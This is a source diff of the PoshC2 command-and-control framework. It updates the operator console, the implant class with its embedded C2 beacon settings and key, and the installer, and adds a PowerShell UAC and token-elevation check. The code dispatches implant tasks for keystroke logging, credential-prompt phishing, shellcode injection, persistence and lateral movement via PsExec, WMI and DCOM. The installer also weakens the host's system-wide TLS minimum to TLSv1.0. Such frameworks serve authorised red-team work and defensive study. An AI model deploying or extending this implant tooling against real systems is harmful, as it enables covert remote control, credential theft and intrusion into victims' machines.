"invoke-wmievent","remove-wmievent","get-wmievent","invoke-smbclient","get-keystrokedata","unhidefile","hidefile", "label-implant",
|
||||
'invoke-psexecpayload','invoke-wmipayload','invoke-dcompayload','invoke-psexecproxypayload','invoke-wmiproxypayload',
|
||||
'invoke-dcomproxypayload','invoke-psexecdaisypayload','invoke-wmidaisypayload', 'invoke-dcomdaisypayload']
|
||||
|
||||
COMMANDS += ['invoke-psexecpayload','invoke-wmipayload', 'invoke-dcompayload']
|
||||
COMMANDS += ['invoke-psexecproxypayload','invoke-wmiproxypayload', 'invoke-dcomproxypayload']
|
||||
COMMANDS += ['invoke-psexecdaisypayload','invoke-wmidaisypayload', 'invoke-dcomdaisypayload']
|
||||
# post help commands python implant
|
||||
UXCOMMANDS = ["label-implant", "unhide-implant","hide-implant","help","searchhelp","python","loadmodule",
|
||||
"loadmoduleforce","get-keystrokes","back","upload-file","download-file","install-persistence","remove-persistence","sai",
|
||||
"startanotherimplant-keepfile","get-screenshot","startanotherimplant","pwd","id","ps","setbeacon","kill-implant","linuxprivchecker"]
|
||||
|
||||
UXCOMMANDS = ["unhide-implant","hide-implant","help","searchhelp","python","loadmodule","loadmoduleforce","get-keystrokes","back","upload-file","download-file","install-persistence","remove-persistence","sai","startanotherimplant-keepfile","get-screenshot","startanotherimplant","pwd","id","ps","setbeacon","kill-implant"]
|
||||
# post help commands sharp implant
|
||||
SHARPCOMMANDS = ["get-userinfo","stop-keystrokes","get-keystrokes","delete","move","label-implant","upload-file",
|
||||
"download-file","get-content","ls-recurse","turtle","cred-popper","resolveip","resolvednsname","testadcredential",
|
||||
"testlocalcredential","get-screenshot","modulesloaded","get-serviceperms","unhide-implant","arpscan","ls","pwd","dir",
|
||||
"inject-shellcode","start-process","run-exe","run-dll","hide-implant","help","searchhelp","listmodules","loadmodule",
|
||||
"loadmoduleforce","back","ps","beacon","setbeacon","kill-implant","get-screenshotmulti"]
|
||||
|
|
23
Implant.py
23
Implant.py
|
@ -11,6 +11,7 @@ class Implant(object):
|
|||
|
||||
def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, proxy):
|
||||
self.RandomURI = randomuri()
|
||||
self.Label = None
|
||||
self.User = user
|
||||
self.Hostname = hostname
|
||||
self.IPAddress = ipaddress
|
||||
|
@ -31,6 +32,13 @@ class Implant(object):
|
|||
self.ServerURL = new_serverurl = select_item("HostnameIP", "C2Server")
|
||||
self.AllBeaconURLs = get_otherbeaconurls()
|
||||
self.AllBeaconImages = get_images()
|
||||
self.SharpCore = """
|
||||
RANDOMURI19901%s10991IRUMODNAR
|
||||
URLS10484390243%s34209348401SLRU
|
||||
KILLDATE1665%s5661ETADLLIK
|
||||
SLEEP98001%s10089PEELS
|
||||
NEWKEY8839394%s4939388YEKWEN
|
||||
IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs, self.KillDate, self.Sleep, self.Key, self.AllBeaconImages)
|
||||
with open("%spy_dropper.py" % (PayloadsDirectory), 'rb') as f:
|
||||
self.PythonImplant = base64.b64encode(f.read())
|
||||
self.PythonCore = """import urllib2, os, subprocess, re, datetime, time, base64, string, random
|
||||
|
@ -189,6 +197,19 @@ while(True):
|
|||
except Exception as e:
|
||||
returnval = "Error with source file: %%s" %% e
|
||||
|
||||
elif cmd.startswith("linuxprivchecker"):
|
||||
args = cmd[len('linuxprivchecker'):].strip()
|
||||
args = args.split()
|
||||
pycode_index = args.index('-pycode')
|
||||
encoded_module = args[pycode_index +1]
|
||||
args.pop(pycode_index)
|
||||
args.pop(pycode_index)
|
||||
pycode = base64.b64decode(encoded_module)
|
||||
process = ['python', '-c', pycode]
|
||||
pycode = 'import sys; sys.argv = sys.argv[1:];' + pycode
|
||||
import subprocess
|
||||
returnval = subprocess.check_output(['python', '-c', pycode] + args)
|
||||
|
||||
elif cmd[:6] == "python":
|
||||
module = cmd.replace("python ","")
|
||||
try:
|
||||
|
@ -581,7 +602,7 @@ while($true)
|
|||
print "SMS send error: %s" % e
|
||||
|
||||
def save(self):
|
||||
new_implant(self.RandomURI, self.User, self.Hostname, self.IPAddress, self.Key, self.FirstSeen, self.FirstSeen, self.PID, self.Proxy, self.Arch, self.Domain, self.Alive, self.Sleep, self.ModsLoaded, self.Pivot)
|
||||
new_implant(self.RandomURI, self.User, self.Hostname, self.IPAddress, self.Key, self.FirstSeen, self.FirstSeen, self.PID, self.Proxy, self.Arch, self.Domain, self.Alive, self.Sleep, self.ModsLoaded, self.Pivot, self.Label)
|
||||
|
||||
def autoruns(self):
|
||||
new_task("loadmodule Implant-Core.ps1", self.RandomURI)
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import os, time, readline, base64, re, traceback, glob, sys, argparse, shlex, signal
|
||||
import os, time, readline, base64, re, traceback, glob, sys, argparse, shlex, signal, subprocess
|
||||
import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from sqlite3 import Error
|
||||
|
@ -107,6 +107,14 @@ def filecomplete(text, state):
|
|||
os.chdir(PayloadsDirectory)
|
||||
return (glob.glob(text+'*')+[None])[state]
|
||||
|
||||
def readfile_with_completion(message):
|
||||
readline.set_completer(filecomplete)
|
||||
path = raw_input(message)
|
||||
t = tabCompleter()
|
||||
t.createListCompleter(COMMANDS)
|
||||
readline.set_completer(t.listCompleter)
|
||||
return path
|
||||
|
||||
def complete(text, state):
|
||||
for cmd in COMMANDS:
|
||||
if cmd.startswith(text):
|
||||
|
@ -176,22 +184,30 @@ def startup(printhelp = ""):
|
|||
PID = i[8]
|
||||
Pivot = i[15]
|
||||
Sleep = i[13]
|
||||
Label = i[16]
|
||||
if Pivot == "Daisy": Pivot = "D"
|
||||
elif Pivot == "C#": Pivot = "C#"
|
||||
elif Pivot == "Proxy": Pivot = "P"
|
||||
else: Pivot = ""
|
||||
elif Pivot == "Python": Pivot = "PY"
|
||||
elif Pivot == "OSX": Pivot = "PY"
|
||||
else: Pivot = "PS"
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
LastSeenTime = datetime.strptime(LastSeen,"%m/%d/%Y %H:%M:%S")
|
||||
now = datetime.now()
|
||||
nowplus10 = now - timedelta(minutes=10)
|
||||
nowplus60 = now - timedelta(minutes=59)
|
||||
|
||||
if nowplus60 > LastSeenTime:
|
||||
print (Colours.RED + "[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID.ljust(5), Sleep, DomainUser, Hostname, Arch, Pivot))
|
||||
elif nowplus10 > LastSeenTime:
|
||||
print (Colours.YELLOW + "[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID.ljust(5), Sleep, DomainUser, Hostname, Arch, Pivot))
|
||||
sID = "["+str(ID)+"]"
|
||||
if Label == None:
|
||||
sLabel = ""
|
||||
else:
|
||||
print (Colours.GREEN + "[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID.ljust(5), Sleep, DomainUser, Hostname, Arch, Pivot))
|
||||
sLabel = "["+Label+"]"
|
||||
if nowplus60 > LastSeenTime:
|
||||
print (Colours.RED + "%s%s: Seen:%s | PID:%s | %s | %s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, DomainUser, Hostname, Arch, Pivot))
|
||||
elif nowplus10 > LastSeenTime:
|
||||
print (Colours.YELLOW + "%s%s: Seen:%s | PID:%s | %s | %s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, DomainUser, Hostname, Arch, Pivot))
|
||||
else:
|
||||
print (Colours.GREEN + "%s%s: Seen:%s | PID:%s | %s | %s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, DomainUser, Hostname, Arch, Pivot))
|
||||
else:
|
||||
from datetime import datetime, timedelta
|
||||
now = datetime.now()
|
||||
|
@ -323,7 +339,8 @@ def startup(printhelp = ""):
|
|||
startup("creds module not implemented yet")
|
||||
|
||||
if (implant_id.lower() == "pwnself" ) or (implant_id.lower() == "p"):
|
||||
startup("Cannot pwnself on Unix :)\r\n")
|
||||
subprocess.Popen(["python", "%s%s" % (PayloadsDirectory, "py_dropper.py")])
|
||||
startup()
|
||||
|
||||
if (implant_id.lower() == "tasks" ) or (implant_id.lower() == "tasks "):
|
||||
alltasks = ""
|
||||
|
@ -415,6 +432,11 @@ def runcommand(command, randomuri):
|
|||
update_sleep(command, randomuri)
|
||||
new_task(sleep, randomuri)
|
||||
|
||||
elif (command.lower().startswith('label-implant')):
|
||||
label = command.replace('label-implant ', '')
|
||||
update_label(label, randomuri)
|
||||
startup()
|
||||
|
||||
elif "searchhelp" in command.lower():
|
||||
searchterm = (command.lower()).replace("searchhelp ","")
|
||||
import string
|
||||
|
@ -436,18 +458,28 @@ def runcommand(command, randomuri):
|
|||
source = ""
|
||||
destination = ""
|
||||
s = ""
|
||||
if command.strip().lower() == "upload-file":
|
||||
source = readfile_with_completion("Location of file to upload: ")
|
||||
while not os.path.isfile(source):
|
||||
print("File does not exist: %s" % source)
|
||||
source = readfile_with_completion("Location of file to upload: ")
|
||||
destination = raw_input("Location to upload to: ")
|
||||
else:
|
||||
args = argp(command)
|
||||
source = args.source
|
||||
destination = args.destination
|
||||
try:
|
||||
if args:
|
||||
with open(args.source, "rb") as source_file:
|
||||
with open(source, "rb") as source_file:
|
||||
s = source_file.read()
|
||||
source = base64.b64encode(s)
|
||||
if s:
|
||||
destination = args.destination.replace("\\","\\\\")
|
||||
sourceb64 = base64.b64encode(s)
|
||||
destination = destination.replace("\\","\\\\")
|
||||
print ("")
|
||||
print ("Uploading %s to %s" % (args.source, destination))
|
||||
uploadcommand = "upload-file \"%s\":%s" % (destination, source)
|
||||
print ("Uploading %s to %s" % (source, destination))
|
||||
uploadcommand = "upload-file \"%s\":%s" % (destination, sourceb64)
|
||||
new_task(uploadcommand, randomuri)
|
||||
else:
|
||||
print("Source file could not be read or was empty")
|
||||
except Exception as e:
|
||||
print ("Error with source file: %s" % e )
|
||||
traceback.print_exc()
|
||||
|
@ -486,6 +518,196 @@ def runcommand(command, randomuri):
|
|||
elif (command == "back") or (command == "clear") or (command == "back ") or (command == "clear "):
|
||||
startup()
|
||||
|
||||
elif "linuxprivchecker" in command.lower():
|
||||
params = re.compile("linuxprivchecker", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
module = open("%slinuxprivchecker.py" % ModulesDirectory, 'r').read()
|
||||
encoded_module = base64.b64encode(module)
|
||||
taskcmd = "linuxprivchecker -pycode %s %s" % (encoded_module, params)
|
||||
new_task(taskcmd, randomuri)
|
||||
|
||||
else:
|
||||
if command:
|
||||
new_task(command, randomuri)
|
||||
return
|
||||
|
||||
elif implant_type == "C#":
|
||||
try:
|
||||
check_module_loaded("Core.exe", randomuri)
|
||||
except Exception as e:
|
||||
print ("Error loading Core.exe: %s" % e)
|
||||
|
||||
if "searchhelp" in command.lower():
|
||||
searchterm = (command.lower()).replace("searchhelp ","")
|
||||
import string
|
||||
helpfull = string.split(sharp_help1, '\n')
|
||||
for line in helpfull:
|
||||
if searchterm in line:
|
||||
print (line)
|
||||
|
||||
elif "upload-file" in command.lower():
|
||||
source = ""
|
||||
destination = ""
|
||||
s = ""
|
||||
if command.strip().lower() == "upload-file":
|
||||
source = readfile_with_completion("Location of file to upload: ")
|
||||
while not os.path.isfile(source):
|
||||
print("File does not exist: %s" % source)
|
||||
source = readfile_with_completion("Location of file to upload: ")
|
||||
destination = raw_input("Location to upload to: ")
|
||||
else:
|
||||
args = argp(command)
|
||||
source = args.source
|
||||
destination = args.destination
|
||||
try:
|
||||
with open(source, "rb") as source_file:
|
||||
s = source_file.read()
|
||||
if s:
|
||||
sourceb64 = base64.b64encode(s)
|
||||
destination = destination.replace("\\","\\\\")
|
||||
print ("")
|
||||
print ("Uploading %s to %s" % (source, destination))
|
||||
uploadcommand = "upload-file%s;\"%s\"" % (sourceb64, destination)
|
||||
new_task(uploadcommand, randomuri)
|
||||
else:
|
||||
print("Source file could not be read or was empty")
|
||||
except Exception as e:
|
||||
print ("Error with source file: %s" % e )
|
||||
traceback.print_exc()
|
||||
|
||||
elif "unhide-implant" in command.lower():
|
||||
unhide_implant(randomuri)
|
||||
|
||||
elif "hide-implant" in command.lower():
|
||||
kill_implant(randomuri)
|
||||
|
||||
elif "inject-shellcode" in command.lower():
|
||||
params = re.compile("inject-shellcode", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
path = readfile_with_completion("Location of shellcode file: ")
|
||||
try:
|
||||
shellcodefile = load_file(path)
|
||||
if shellcodefile != None:
|
||||
arch = "64"
|
||||
new_task("run-exe Core.Program Core Inject-Shellcode %s%s" % (base64.b64encode(shellcodefile),params), randomuri)
|
||||
except Exception as e:
|
||||
print ("Error loading file: %s" % e)
|
||||
|
||||
elif "kill-implant" in command.lower() or "exit" in command.lower():
|
||||
impid = get_implantdetails(randomuri)
|
||||
ri = raw_input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0])
|
||||
if ri.lower() == "n":
|
||||
print ("Implant not terminated")
|
||||
if ri == "":
|
||||
new_task("exit",randomuri)
|
||||
kill_implant(randomuri)
|
||||
if ri.lower() == "y":
|
||||
new_task("exit",randomuri)
|
||||
kill_implant(randomuri)
|
||||
|
||||
elif "seatbelt " in command.lower():
|
||||
check_module_loaded("Seatbelt.exe", randomuri)
|
||||
new_task(command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("stop-keystrokes")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("get-keystrokes")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("get-screenshotmulti")):
|
||||
new_task(command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("get-screenshot")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("arpscan")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("testadcredential")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("testlocalcredential")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("turtle")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("get-userinfo")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("get-content")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("resolvednsname")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("resolveip")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("cred-popper")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("get-serviceperms")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("move")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("delete")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower().startswith("ls")):
|
||||
new_task("run-exe Core.Program Core %s" % command,randomuri)
|
||||
|
||||
elif (command.lower() == "pwd") or (command.lower() == "pwd "):
|
||||
new_task("run-exe Core.Program Core pwd",randomuri)
|
||||
|
||||
elif (command.lower() == "ps") or (command.lower() == "ps "):
|
||||
new_task("run-exe Core.Program Core Get-ProcessList",randomuri)
|
||||
|
||||
elif "loadmoduleforce" in command.lower():
|
||||
params = re.compile("loadmoduleforce ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
check_module_loaded(params, randomuri, force=True)
|
||||
|
||||
elif "loadmodule" in command.lower():
|
||||
params = re.compile("loadmodule ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
check_module_loaded(params, randomuri)
|
||||
|
||||
elif "listmodules" in command.lower():
|
||||
modules = os.listdir("%s/Modules/" % POSHDIR)
|
||||
print ("")
|
||||
print ("[+] Available modules:")
|
||||
print ("")
|
||||
for mod in modules:
|
||||
if (".exe" in mod) or (".dll" in mod) :
|
||||
print (mod)
|
||||
new_task(command,randomuri)
|
||||
|
||||
elif "modulesloaded" in command.lower():
|
||||
ml = get_implantdetails(randomuri)
|
||||
print (ml[14])
|
||||
|
||||
elif command.lower() == "help" or command == "?" or command.lower() == "help ":
|
||||
print (sharp_help1)
|
||||
|
||||
elif (command == "back") or (command == "clear") or (command == "back ") or (command == "clear "):
|
||||
startup()
|
||||
|
||||
elif ('beacon' in command.lower() and '-beacon' not in command.lower()) or 'set-beacon' in command.lower() or 'setbeacon' in command.lower():
|
||||
new_task(command, randomuri)
|
||||
command = command.replace('set-beacon ', '')
|
||||
command = command.replace('setbeacon ', '')
|
||||
command = command.replace('beacon ', '')
|
||||
update_sleep(command, randomuri)
|
||||
|
||||
elif (command.lower().startswith('label-implant')):
|
||||
label = command.replace('label-implant ', '')
|
||||
update_label(label, randomuri)
|
||||
startup()
|
||||
|
||||
else:
|
||||
if command:
|
||||
new_task(command, randomuri)
|
||||
|
@ -506,6 +728,11 @@ def runcommand(command, randomuri):
|
|||
command = command.replace('beacon ', '')
|
||||
update_sleep(command, randomuri)
|
||||
|
||||
elif (command.lower().startswith('label-implant')):
|
||||
label = command.replace('label-implant ', '')
|
||||
update_label(label, randomuri)
|
||||
startup()
|
||||
|
||||
elif "searchhelp" in command.lower():
|
||||
searchterm = (command.lower()).replace("searchhelp ","")
|
||||
import string
|
||||
|
@ -783,23 +1010,35 @@ def runcommand(command, randomuri):
|
|||
source = ""
|
||||
destination = ""
|
||||
s = ""
|
||||
args = argp(command)
|
||||
try:
|
||||
if args:
|
||||
with open(args.source, "rb") as source_file:
|
||||
s = source_file.read()
|
||||
source = base64.b64encode(s)
|
||||
if s:
|
||||
destination = args.destination.replace("\\","\\\\")
|
||||
print ("")
|
||||
print ("Uploading %s to %s" % (args.source, destination))
|
||||
if (args.nothidden):
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (destination, args.nothidden, source)
|
||||
nothidden = False
|
||||
if command.strip().lower() == "upload-file":
|
||||
source = readfile_with_completion("Location of file to upload: ")
|
||||
while not os.path.isfile(source):
|
||||
print("File does not exist: %s" % source)
|
||||
source = readfile_with_completion("Location of file to upload: ")
|
||||
destination = raw_input("Location to upload to: ")
|
||||
else:
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, source)
|
||||
args = argp(command)
|
||||
source = args.source
|
||||
destination = args.destination
|
||||
nothidden = args.nothidden
|
||||
try:
|
||||
with open(source, "rb") as source_file:
|
||||
s = source_file.read()
|
||||
if s:
|
||||
sourceb64 = base64.b64encode(s)
|
||||
destination = destination.replace("\\","\\\\")
|
||||
print ("")
|
||||
print ("Uploading %s to %s" % (source, destination))
|
||||
if (nothidden):
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (destination, nothidden, sourceb64)
|
||||
else:
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, sourceb64)
|
||||
new_task(uploadcommand, randomuri)
|
||||
else:
|
||||
print("Source file could not be read or was empty")
|
||||
except Exception as e:
|
||||
print ("Error with source file: %s" % e)
|
||||
print ("Error with source file: %s" % e )
|
||||
traceback.print_exc()
|
||||
|
||||
elif "kill-implant" in command.lower() or "exit" in command.lower():
|
||||
|
@ -925,7 +1164,12 @@ def commandloop(implant_id):
|
|||
else:
|
||||
hostname = get_hostdetails(implant_id)
|
||||
if hostname[15] == 'OSX':
|
||||
t.createListCompleter(UXCOMMANDS )
|
||||
t.createListCompleter(UXCOMMANDS)
|
||||
readline.set_completer_delims('\t')
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(t.listCompleter)
|
||||
if hostname[15] == 'C#':
|
||||
t.createListCompleter(SHARPCOMMANDS)
|
||||
readline.set_completer_delims('\t')
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(t.listCompleter)
|
||||
|
|
31
Install.sh
31
Install.sh
|
@ -2,15 +2,14 @@
|
|||
|
||||
# Install PoshC2
|
||||
echo ""
|
||||
|
||||
echo """__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
echo """ __________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \\
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
| | ( <_> )___ \| Y \ \ \____/ \\
|
||||
|____| \____/____ >___| / \______ /\_______ \\
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk ============="""
|
||||
|
||||
================= www.PoshC2.co.uk ================"""
|
||||
echo ""
|
||||
echo ""
|
||||
echo "[+] Installing PoshC2"
|
||||
echo ""
|
||||
|
@ -35,7 +34,13 @@ git clone https://github.com/nettitude/PoshC2_Python /opt/PoshC2_Python/
|
|||
# Install requirements for PoshC2_Python
|
||||
echo ""
|
||||
echo "[+] Installing requirements using apt"
|
||||
apt-get install -y screen python-setuptools python-dev build-essential python-pip mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common espeak graphviz
|
||||
apt-get install -y screen python-setuptools python-dev build-essential python-pip mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common espeak graphviz mono-devel
|
||||
|
||||
# Setting the minimum protocol to TLS1.0 to allow the python server to support TLSv1.0+
|
||||
echo ""
|
||||
echo "[+] Updating TLS protocol minimum version in /etc/ssl/openssl.cnf"
|
||||
echo "[+] Backup file generated - /etc/ssl/openssl.cnf.bak"
|
||||
sed -i.bak 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/g' /etc/ssl/openssl.cnf
|
||||
|
||||
# Check if PIP is installed, if not install it
|
||||
if [! which pip > /dev/null]; then
|
||||
|
@ -55,13 +60,13 @@ python -m pip install -r /opt/PoshC2_Python/requirements.txt
|
|||
echo ""
|
||||
echo "[+] Setup complete"
|
||||
echo ""
|
||||
echo """__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
echo """ __________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \\
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
| | ( <_> )___ \| Y \ \ \____/ \\
|
||||
|____| \____/____ >___| / \______ /\_______ \\
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk ============="""
|
||||
================= www.PoshC2.co.uk ================"""
|
||||
echo ""
|
||||
echo "EDIT the config file: '/opt/PoshC2_Python/Config.py'"
|
||||
echo ""
|
||||
|
|
Binary file not shown.
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,144 @@
|
|||
function Get-TokenElevationType {
|
||||
<#
|
||||
.SYNOPSYS
|
||||
This module uses a C# wrapper around a native API dll to determine the
|
||||
token type of the current process, as well as the status of UAC.
|
||||
Return values for the token type are:
|
||||
TokenElevationTypeDefault - Unprivileged token issued to standard
|
||||
users, OR under certain conditions, to the default Administrator
|
||||
account when it is enabled and 'Admin approval mode for built-in
|
||||
administrator account' is off.
|
||||
TokenElevationtypeLimited - Split token issued to a process from a
|
||||
privileged user but running unprivileged.
|
||||
TokenElevationTypeFull - Usually indicates a split token with full
|
||||
administrative rights.
|
||||
|
||||
Function: Get-TokenElevationType
|
||||
Modifications: Jon Hickman (@0metasec)
|
||||
Attributions: This code was adapted to purpose from code located at
|
||||
https://stackoverflow.com/questions/1220213/detect-if-running-as-administrator-with-or-without-elevated-privileges
|
||||
contributed by https://stackoverflow.com/users/80566/steven
|
||||
License: Modifications by Jon Hickman are MIT licensed
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Running Get-TokenElevationType will return a value that exposes the
|
||||
TOKEN_ELEVATION_TYPE enum from the GetTokenInformation advapi32.dll call,
|
||||
as well as the status of UAC. If UAC is off, all tokens contain the full
|
||||
group membership and rights (no split tokens).
|
||||
|
||||
#>
|
||||
|
||||
|
||||
$assembly = @"
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
public static class UacPoll
|
||||
{
|
||||
private const string uacRegistryKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
|
||||
private const string uacRegistryValue = "EnableLUA";
|
||||
|
||||
private static uint STANDARD_RIGHTS_READ = 0x00020000;
|
||||
private static uint TOKEN_QUERY = 0x0008;
|
||||
private static uint TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength, out uint ReturnLength);
|
||||
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId,
|
||||
TokenGroupsAndPrivileges,
|
||||
TokenSessionReference,
|
||||
TokenSandBoxInert,
|
||||
TokenAuditPolicy,
|
||||
TokenOrigin,
|
||||
TokenElevationType,
|
||||
TokenLinkedToken,
|
||||
TokenElevation,
|
||||
TokenHasRestrictions,
|
||||
TokenAccessInformation,
|
||||
TokenVirtualizationAllowed,
|
||||
TokenVirtualizationEnabled,
|
||||
TokenIntegrityLevel,
|
||||
TokenUIAccess,
|
||||
TokenMandatoryPolicy,
|
||||
TokenLogonSid,
|
||||
MaxTokenInfoClass
|
||||
}
|
||||
|
||||
public enum TOKEN_ELEVATION_TYPE
|
||||
{
|
||||
TokenElevationTypeDefault = 1,
|
||||
TokenElevationTypeFull,
|
||||
TokenElevationTypeLimited
|
||||
}
|
||||
|
||||
public static bool IsUacEnabled
|
||||
{
|
||||
get
|
||||
{
|
||||
RegistryKey uacKey = Registry.LocalMachine.OpenSubKey(uacRegistryKey, false);
|
||||
bool result = uacKey.GetValue(uacRegistryValue).Equals(1);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
public static string IsProcessElevated()
|
||||
{
|
||||
if (IsUacEnabled)
|
||||
{
|
||||
IntPtr tokenHandle;
|
||||
if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_READ, out tokenHandle))
|
||||
{
|
||||
throw new ApplicationException("Could not get process token. Win32 Error Code: " + Marshal.GetLastWin32Error());
|
||||
}
|
||||
|
||||
TOKEN_ELEVATION_TYPE elevationResult = TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault;
|
||||
|
||||
int elevationResultSize = Marshal.SizeOf((int)elevationResult);
|
||||
uint returnedSize = 0;
|
||||
IntPtr elevationTypePtr = Marshal.AllocHGlobal(elevationResultSize);
|
||||
|
||||
bool success = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenElevationType, elevationTypePtr, (uint)elevationResultSize, out returnedSize);
|
||||
if (success)
|
||||
{
|
||||
elevationResult = (TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(elevationTypePtr);
|
||||
string output = (elevationResult.ToString() + " and UAC is enabled");
|
||||
return output;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new ApplicationException("Unable to determine the current elevation.");
|
||||
|
||||
}
|
||||
}
|
||||
else { return "UAC IS OFF FIRE AWAY"; }
|
||||
}
|
||||
}
|
||||
"@
|
||||
if (-not [bool]([appdomain]::CurrentDomain.GetAssemblies() | ? { $_.gettypes() -match 'UacPoll' })) {
|
||||
Add-type -typedefinition $assembly -Language CSharp
|
||||
}
|
||||
[UacPoll]::IsProcessElevated()
|
||||
|
||||
}
|
|
@ -7,19 +7,24 @@ function Get-UserInfo
|
|||
echo "======================"
|
||||
echo "Local Users"
|
||||
echo "======================"
|
||||
$Users.Name
|
||||
foreach ($usr in $Users) {
|
||||
$usr.Name
|
||||
}
|
||||
$GroupNames = Get-WmiObject -Query "SELECT * FROM Win32_Group Where LocalAccount = True"
|
||||
echo ""
|
||||
echo "======================"
|
||||
echo "Local Groups"
|
||||
echo "======================"
|
||||
$GroupNames.Name
|
||||
foreach ($grp in $GroupNames) {
|
||||
$grp.Name
|
||||
}
|
||||
|
||||
$hostname = (Get-WmiObject -Class Win32_ComputerSystem).Name
|
||||
echo ""
|
||||
echo "======================"
|
||||
echo "Members of Local Groups"
|
||||
echo "======================"
|
||||
|
||||
foreach ($Group in $GroupNames) {
|
||||
$GroupName = $Group.Name
|
||||
